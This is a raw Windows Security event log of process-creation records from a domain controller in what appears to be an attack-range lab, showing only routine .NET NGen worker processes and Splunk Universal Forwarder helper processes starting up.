-EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254320 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3a8 -InterruptEvent 0 -NGENProcess 384 -Pipe 3b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254321 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x113c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254322 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x574 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254323 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254324 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254326 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254325 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254327 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1008 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254328 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3c8 -InterruptEvent 0 -NGENProcess 3e8 -Pipe 3d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254330 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcec - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3c8 -Pipe 3a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254329 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3dc -InterruptEvent 0 -NGENProcess 384 -Pipe 38c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254331 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 334 -InterruptEvent 0 -NGENProcess 384 -Pipe 3e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254333 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3dc -InterruptEvent 0 -NGENProcess 3a4 -Pipe 3bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254332 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 228 -InterruptEvent 0 -NGENProcess 3e8 -Pipe 3c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254343 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 334 -InterruptEvent 0 -NGENProcess 3dc -Pipe 228 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254342 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10dc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 250 -InterruptEvent 0 -NGENProcess 2f4 -Pipe 29c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254341 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1254 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3d8 -InterruptEvent 0 -NGENProcess 3dc -Pipe 378 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254340 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1014 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 208 -Pipe 22c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254339 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3cc -InterruptEvent 0 -NGENProcess 3dc -Pipe 314 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. 